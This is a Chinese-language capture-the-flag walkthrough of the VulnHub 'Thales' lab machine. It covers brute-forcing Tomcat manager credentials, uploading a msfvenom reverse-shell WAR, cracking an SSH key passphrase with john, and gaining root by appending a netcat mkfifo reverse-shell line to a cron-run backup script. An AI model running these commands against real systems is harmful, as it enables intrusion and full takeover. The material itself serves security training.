kali IP :192.168.43.118
主机发现:
sudo nmap -sP 192.168.43.1/24
--> 目标IP:192.168.43.174
端口扫描:
nmap -sC -sV -p- 192.168.43.174
--> 开放端口:22 8080
浏览器访问http://192.168.43.174:8080
--> tomcat页面
目录扫描:
gobuster dir -w ../../direc-big.txt -u http://192.168.43.174:8080
--> /docs -> 无有用信息
--> /shell -> 加载慢
--> /manager -> 需要账号密码 -> burp爆破
msf爆破tomcat密码:
msfconsole -> 进入msf控制台
search tomcat login
show options
set LHOSTS 192.168.43.118
exploit
BURP爆破Tomcat账号密码:
Authorization : Basic 后面内容base64解密后是自己写的账号:密码
所以在这进行爆破
爆破模式:Sniper
Payload类型:Custom iterator
Position 1: -> 添加tomcat: 因为默认账号是tomcat
Position 2: -> load一个字典
Payload Processing: add -> encode -> base64
开始攻击
--> 爆破到密码:role1
登录manager页面,有文件上传地址,war文件
使用msfvenom生成jsp后门代码:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.43.118 LPORT=1234 -f war -o revshell.war
将revshell.war上传到目标网站,kali开启监听1234端口,浏览器访问revshell文件,成功反弹。
获取完整交互的shell:
查看是python2还是python3:
which python2 -> 无返回
which python3 -> /use/bin/python3
写入交互式shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
CTRL + Z
stty -a -> 记录rows值和columns值
stty raw -echo;fg
stty rows xx columns xx
查看权限:
sudo -l
--> 发现密码不是role1
查看目录文件:
--> home/thales中有notes.txt是root权限的,还有user.txt和.ssh文件夹
cat note.txt
--> I prepared a backup script for you. The script is in this directory "/usr/local/bin/backup.sh". Good Luck.
cat /usr/local/bin/backup.sh
--> backup.sh可以运行系统指令
user.txt没有权限打开
看一下.ssh文件夹里的内容:
有一个id_rsa秘钥文件 -> 使用ssh2john.py生成密码文件然后爆破
直接复制id_rsa里面的内容,本地创建id_rsa文件,粘贴复制的内容
/usr/share/john/ssh2john.py id_rsa > crack.txt
爆破密码:
sudo john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt
--> 密码:vodka06
登录thales用户:
su thales
Password: vodka06
user.txt可以查看了
提升权限
在backup.sh中加入反弹shell的代码:
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.43.118 1235 >/tmp/f" >> backup.sh
kaili中监听1235端口
过一会就会反弹成功,查看权限是root
获取root.txt成功
原文始发于微信公众号(北京路劲科技有限公司):靶机练习No.8 VulnHub靶场Thales
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论